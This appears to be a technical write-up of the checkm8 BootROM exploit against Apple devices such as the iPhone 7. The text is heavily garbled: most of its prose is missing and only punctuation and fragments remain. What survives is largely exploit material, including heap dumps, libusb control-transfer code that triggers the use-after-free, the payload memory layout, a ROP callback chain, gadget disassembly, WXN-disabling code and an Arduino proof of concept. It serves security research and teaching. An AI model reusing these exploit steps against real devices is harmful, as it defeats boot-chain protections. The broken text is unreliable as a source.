DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1 dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2 dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3 enter_critical_section()
.
5.4 write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5 tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7 write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8 tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
— WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1 USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2 USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3 USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
— checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
Referências
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze